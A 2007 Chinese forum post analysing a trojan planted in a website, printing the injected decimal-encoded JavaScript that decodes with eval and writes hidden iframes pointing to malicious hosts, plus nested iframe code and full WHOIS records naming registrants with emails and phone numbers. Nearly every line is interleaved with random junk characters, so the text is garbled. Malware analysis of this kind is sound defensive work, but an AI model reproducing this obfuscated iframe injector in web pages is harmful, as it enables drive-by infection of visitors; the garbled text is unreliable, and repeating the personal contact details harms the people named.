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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, +#Q\;; FNP  
\ =(r6X  
http://www.areway.cn/?p=175 l*(Ml= O{  
gLGu#6YVu  
(s?Rbd  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 8kA2.pIk  
          ZT'VF~  
<script>t=’60,105,102,114,97,109,101, 9S8>"w^R  
32,115,114,99,61,104,116,116,112,58,47,47, 2$OI(7b=  
102,114,101,101,46,117,45,117,117,117,46,99, d=~-8]%\  
110,47,101,114,114,111,114,46,104,116,109, ? ^l{t4  
32,119,105,100,116,104,61,49,48,48,32,104, rm"C|T4:V  
101,105,103,104,116,61,48,62,60,47,105,102, o{n)w6P{R,  
114,97,109,101,62′; Xe:gH.}  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> n +R3  
                                                                                                  P g{/tM Y  
<script>t=’60,105,102,114,97,109,101,32,115, A.@/~\  
114,99,61,104,116,116,112,58,47,47,102,114, yR|Beno  
101,101,46,117,45,117,117,117,46,99,110,47, Mb0l*'ZF  
101,114,114,111,114,46,104,116,109,32,119, YrRD3P.P  
105,100,116,104,61,49,48,48,32,104,101,105, 7F!(60xY  
103,104,116,61,48,62,60,47,105,102,114,97, =mWr8p-H  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 40ZHDtIu<  
document.write(t);</script> C[0*>W8o  
                                                                                                  byrK``f  
<html xmlns=” M`jqU g  
http://www.w3.org/1999/xhtml ,|u^-J@  
“> %hnv go:^g  
<head> gp`H>Sn.|  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> m.|__L  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 45+w)Vf!  
<title>首页 - 爱生活家庭网 @s[Vtw%f  
                                                                                                                                                    ja1WI  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 HC[)):S*  
转换字符串后的大概内容是(谁点击后果自付): U.mVz,k3  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… Za4X ;  
                                                                                                                                  iT;~0XU7F  
查询玉米u-uuu.cn的详细信息: [@RJ2q$  
Domain Name: u-uuu.cn N~/D| ?P~2  
ROID: 20070901s10001s64972306-cn NrTK+6 z  
Domain Status: ok g~#HiBgWq[  
Registrant Organization: 王雷 eq<giHJM  
Registrant Name: 王雷 )08mG_&atL  
Administrative Email: czlovexs@126.com h0v4!`PQ-  
Sponsoring Registrar: 北京万网志成科技有限公司 Z6Kw'3  
Name Server:ns.yovole.com djGzJLH  
Name Server:ns1.yovole.com D6wg^ 'Q:  
Registration Date: 2007-09-01 17:54 Kq. MmR!gl  
Expiration Date: 2008-09-01 17:54 mxxuD"5  
最后PING了一下地址 都没有什么…. VUD ?iv7  
                                                                                                H[S 4o,  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. Q \E [py  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> n@"h^-  
<script language=”javascript” src=” ?~g X7{>  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script COC6H'F  
> :kMEL*  
这个玉米应该有可能是木马作者的: Wdp?<U  
foafau.info的详细信息: 2S`D7R#6s  
Access to INFO WHOIS information is provided to assist persons in vI)-Zz[3  
determining the contents of a domain name registration record in the J#L"kz  
Afilias registry database. The data in this record is provided by M1sR+e$"  
Afilias Limited for informational purposes only, and Afilias does not p~h)@  
guarantee its accuracy.  This service is intended only for query-based ={GYJ. *Ah  
access. You agree that you will use this data only for lawful purposes ejID5NqG  
and that, under no circumstances will you use this data to: (a) allow, nWd]P\a'V  
enable, or otherwise support the transmission by e-mail, telephone, or Ry+Ax4#+(y  
facsimile of mass unsolicited, commercial advertising or solicitations Ie14`'  
to entities other than the data recipient’s own existing customers; or hrt ]Qn&  
(b) enable high volume, automated, electronic processes that send Cc7YjsRW  
queries or data to the systems of Registry Operator, a Registrar, or JC[G5$E  
Afilias except as reasonably necessary to register domain names or sp VE'"^  
modify existing registrations. All rights reserved. Afilias reserves &q?A)R  
the right to modify these terms at any time. By submitting this query, liuF;*  
you agree to abide by this policy. EP ;TfWc}1  
Domain ID:D22418703-LRMS "N|gU;~W  
Domain Name:FOAFAU.INFO $2?10}mrx  
Created On:20-Nov-2007 16:05:42 UTC \@ j YY~  
Last Updated On:20-Nov-2007 16:05:44 UTC nKP[U=ac  
Expiration Date:20-Nov-2008 16:05:42 UTC Ba]J3Yp,z  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) uBPxMwohR  
Status:CLIENT DELETE PROHIBITED l-GQ AI8  
Status:CLIENT RENEW PROHIBITED @aX$}  
Status:CLIENT TRANSFER PROHIBITED ~SWR|[  
Status:CLIENT UPDATE PROHIBITED ^I4/{,Ev  
Status:TRANSFER PROHIBITED %I&[:  
Registrant ID:GODA-040110615 }/{G  
Registrant Name:liu hong BRu/pyxG  
Registrant Organization: mF|7:zSo  
Registrant Street1:beijing [nBdq"K  
Registrant Street2: !x, ;&  
Registrant Street3: v;r!rZX  
Registrant City:beijing mnwYv..ePz  
Registrant State/Province: LZ"yMnhOf  
Registrant Postal Code:100000 W%)uKQha  
Registrant Country:CN ebuR-9  
Registrant Phone:+86.860108888777 N0:gY]o%  
Registrant Phone Ext.: B< `'h  
Registrant FAX: e{8j(` (;#  
Registrant FAX Ext.: 9w%|Nk>=>  
Registrant Email:bbbshiji@163.com X9d~r_2&m<  
Admin ID:GODA-240110615 /61P`1y(J  
Admin Name:liu hong D{4Ehr "T  
Admin Organization: xK3 xiR  
Admin Street1:beijing 0."TSe83\  
Admin Street2: w,'"2^Cwy  
Admin Street3: Fa!6*K\  
Admin City:beijing cnrS.s=  
Admin State/Province: `k>h2(@9S  
Admin Postal Code:100000 FK8G BkQ!  
Admin Country:CN b)5z'zQu  
Admin Phone:+86.860108888777 -@wnQ?  
Admin Phone Ext.: tc_D8Q_  
Admin FAX: c|s*(WljY  
Admin FAX Ext.: ?4]#gC ks  
Admin Email:bbbshiji@163.com x9c/;Q &m  
Billing ID:GODA-340110615 : Y{aa1  
Billing Name:liu hong D~< 3  
Billing Organization: d_0r  
Billing Street1:beijing :tv:46+s=  
Billing Street2: G O=&  
Billing Street3: L;n2,b  
Billing City:beijing J:{$\m'  
Billing State/Province: D`t }V  
Billing Postal Code:100000 2!Mwui;%  
Billing Country:CN /Ww_fY  
Billing Phone:+86.860108888777 |kUxTe  
Billing Phone Ext.: d]v4`nc  
Billing FAX: o9l =Q  
Billing FAX Ext.: 6+:Tv2  
Billing Email:bbbshiji@163.com RawK9K_1  
Tech ID:GODA-140110615 1>doa1  
Tech Name:liu hong x}w"2[fL  
Tech Organization: '}`|QJ  
Tech Street1:beijing V ifQ@  
Tech Street2: /<HEcB  
Tech Street3: Y[A`r0  
Tech City:beijing @Gs*y1  
Tech State/Province: 78s:~|WB<{  
Tech Postal Code:100000 d" "GG/  
Tech Country:CN &*}NN5Sv  
Tech Phone:+86.860108888777 [I`r[u  
Tech Phone Ext.: ; FO1b*  
Tech FAX: k{fCU%  
Tech FAX Ext.: z)Y<@2V*C  
Tech Email:bbbshiji@163.com &IQp&  
Name Server:NS27.DOMAINCONTROL.COM $uA?c& e  
Name Server:NS28.DOMAINCONTROL.COM )-_NtMr~`!  
Name Server: :y?xS  
Name Server: _L6WbRu|  
Name Server: MNE{mV(  
Name Server: ^8mF0K&  
Name Server: GP %83T  
Name Server: nt/+?Sj  
Name Server: f PoC yl  
Name Server: 0/8rYBV  
Name Server: I 9yN TD  
Name Server: h\ (z!7t*  
Name Server: #xqeCX 4p  
                                                                                                          6\MJvg\;  
接着下载每个文件里面的代码: 3~e"CKD>  
一步一步看.. G;n'c7BV  
<&7KcvBn"4  
T K)Kq  
iY=M67V  
@quNVx(y  
58H[sM4>  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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